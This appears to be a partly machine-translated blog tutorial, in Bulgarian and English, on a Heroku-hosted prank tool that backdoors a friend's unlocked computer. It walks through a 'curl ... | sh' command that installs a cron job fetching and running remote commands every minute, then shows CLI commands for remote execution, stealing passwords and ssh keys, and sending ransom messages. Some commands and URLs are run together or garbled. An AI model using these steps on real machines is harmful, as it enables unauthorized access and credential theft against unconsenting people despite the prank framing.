Как да хакна приятелите си

Приятелите ми често оставят компютрите си отворени и отключени. Казвам им, че вероятно трябва да имат навика да заключват компютрите си, но те не ме слушат. Затова създадох прост проект, за да хакна приятелите си и да им покажа важността на компютърната сигурност.

Всичко, което трябва да направя, е да изчакам да оставят компютъра си отключен за няколко секунди, да отворят терминала си и да напишат една-единствена кратка команда.

Това е! Техният компютър вече е заразен и мога да изпълнявам каквито команди искам на този компютър отдалечено. Доста сладко, нали? Или може би шокиращо?

Хакерството е незаконно. По-конкретно:

„Умишлен достъп до [компютър] без разрешение или превишаване [разрешен] достъп“ - Закон за компютърните измами и злоупотреби (18 USC 1030)

Така че имайте предвид, че целта на тази статия е да ви покаже колко лесно би било за някой с лоши намерения да ви хакне, за да можете сами да избегнете хакване.

Не е необходим някакъв хакерски гений, за да разруши живота ви - всеки „дете от скрипт“, който може да получи физически достъп до вашия компютър, може да ви компрометира, като изтегли скрипт, съдържащ само 50 реда код.

Първи настройки

Целият код за този проект живее в това хранилище, ако искате да влезете направо, но по-долу ще обясня как работи всичко.

Първо, просто трябва да клонирате репото, да инсталирате неговите зависимости и да свържете инструмента за интерфейс на командния ред (CLI) на хака .

git clone //github.com/ccorcos/hack.gitgit remote remove origincd hacknpm installnpm link

След това трябва да настроите Heroku да хоства скриптовете, които ще се изпълняват на вашата машина за приятели. Ако никога преди не сте използвали Heroku, регистрирайте се тук (безплатно е!) И настройте техния CLI инструмент на вашата машина.

brew install heroku-toolbeltheroku login

Сега в репозиторията за хакове създайте приложение Heroku с лесно име за запомняне. Използвам хакер-чет.

heroku create hacker-chet

След това трябва да изпълните команда, за да направите малка настройка. Всичко, което всъщност прави, е да получи основния URL за вашия уебсайт Heroku и да го постави във вашия package.json . По този начин сървърът може да инжектира URL адреса на приложението в скриптовете на черупката.

npm run init

Можете да стартирате сървъра локално, ако искате да се хакнете и да тествате нещата.

npm start

Или можете да се разположите в Heroku.

npm run deploy

Сега сте готови за хакване!

API за хакване

Красотата на тази програма е, че за да започнете да хаквате някого, просто трябва да изпълните една команда на неговата машина.

curl /hack | sh

ROOT_URL е конкретният път към вашето приложение. Когато стартирате сървъра локално, това ще бъде localhost: 5000 и когато се разположите в Heroku, ще бъде нещо като .herokua pp.com.

Това, което прави, е да зададе cron работа - „хронологична работа“, която презарежда задачите в определени моменти - да пинг на / env / live крайната точка всяка минута и да изпрати резултата към sh . Всъщност е съвсем просто! И Heroku ви дава HTTPS безплатно, така че е "сигурен" нали?

След като хакнете приятеля си, можете да направите всичко останало с инструмента за команден ред от вашия компютър.

Инструментът за хакване има концепция за различни хакнати среди. Когато хаквате някого с помощта на / hack крайна точка, този човек започва в средата на живо . И за всяка среда можете да изпълнявате различни команди. Ще демонстрирам всичко с малко разходка.

Следното ще пренапише скрипта на обвивката на средата на живо, за да изпълни следната команда, която ще каже на глас „Наблюдавам те“.

hack live exec "say 'I\'m watching you'"

Е, това все още няма да работи, все още трябва да се разположите отново във вашето приложение Heroku.

hack deploy

Сега изчакайте следващата минута и гледайте компютъра на приятеля си да пингва вашия сървър, като следите дневниците на сървъра.

hack logs

Целият смисъл на средите е, така че можете да хакнете няколко души едновременно. За да изолирате хората в различни среди, просто трябва да промените името.

hack live rename jon

Следващия път, когато средата на живо бъде ping, тя ще пренапише заданието cron, за да започне pinging jon среда вместо това.

Можете да направите всичко по същия начин, само като промените аргумента на средата.

hack jon exec "say 'hello jon'"

Сега, ако сте се забавлявали достатъчно за деня и партито приключи, можете да забравите Джон и да го уверите, че сте го „дезактивирали“.

hack jon forget

Това ще изтрие заданието cron от техния компютър. Или може да искате просто да поставите тази среда в режим на спяща клетка, за да можете да я възстановите по-късно.

hack jon interval 1d

Now, rather than pinging your server every minute (the default), it will ping every day at midnight. And when you want to wake it back up, you can change the interval back to every minute and the next day, you’re good to go!

hack jon interval 1m

Some other fun things to do are setting up additional cron jobs. Here’s how you can wake your friend up at 6am every morning to remind him about computer security.

hack jon cron "0 6 * * * say 'good morning jon, remember what I told you about locking your computer?'"

P.S. If you don’t remember how cron jobs work, this is a great resource. It pretty much all comes down to this little diagram.

* * * * *| | | | || | | | || | | | +---- Day of the Week (range: 1-7, 1 standing for Monday)| | | +------ Month of the Year (range: 1-12)| | +-------- Day of the Month (range: 1-31)| +---------- Hour (range: 0-23)+------------ Minute (range: 0-59)

One of my favorites is the desktop preset which will download an image from a given URL and set it as the background photo.

hack jon preset desktop //i.imgur.com/5FC2r9R.jpg

And if you’ve written a ton of cron jobs and you don’t know what’s on there anymore, you can use the dump command.

hack jon dump "crontab -l"

Now whip open your logs and you’ll see the output on the next ping. This is actually much more sinister now that you can get information back. If you wanted to be more nefarious, you can search for decrypted passwords or steal their ssh keys.

hack jon preset passwordshack jon preset ssh

But if you just want to give him a good old-fashioned scare, send him a ransom message!

hack jon preset ransom "Hello Jon, I told you not to leave your computer unlocked."

Lastly, if you find yourself adding a bunch of cron jobs and just want to start over, reset is here to help.

hack jon reset

Now go have (responsible) fun with this thing and let me know what your favorite pranks are by submitting a pull request with a new command or preset!

Happy Hacking!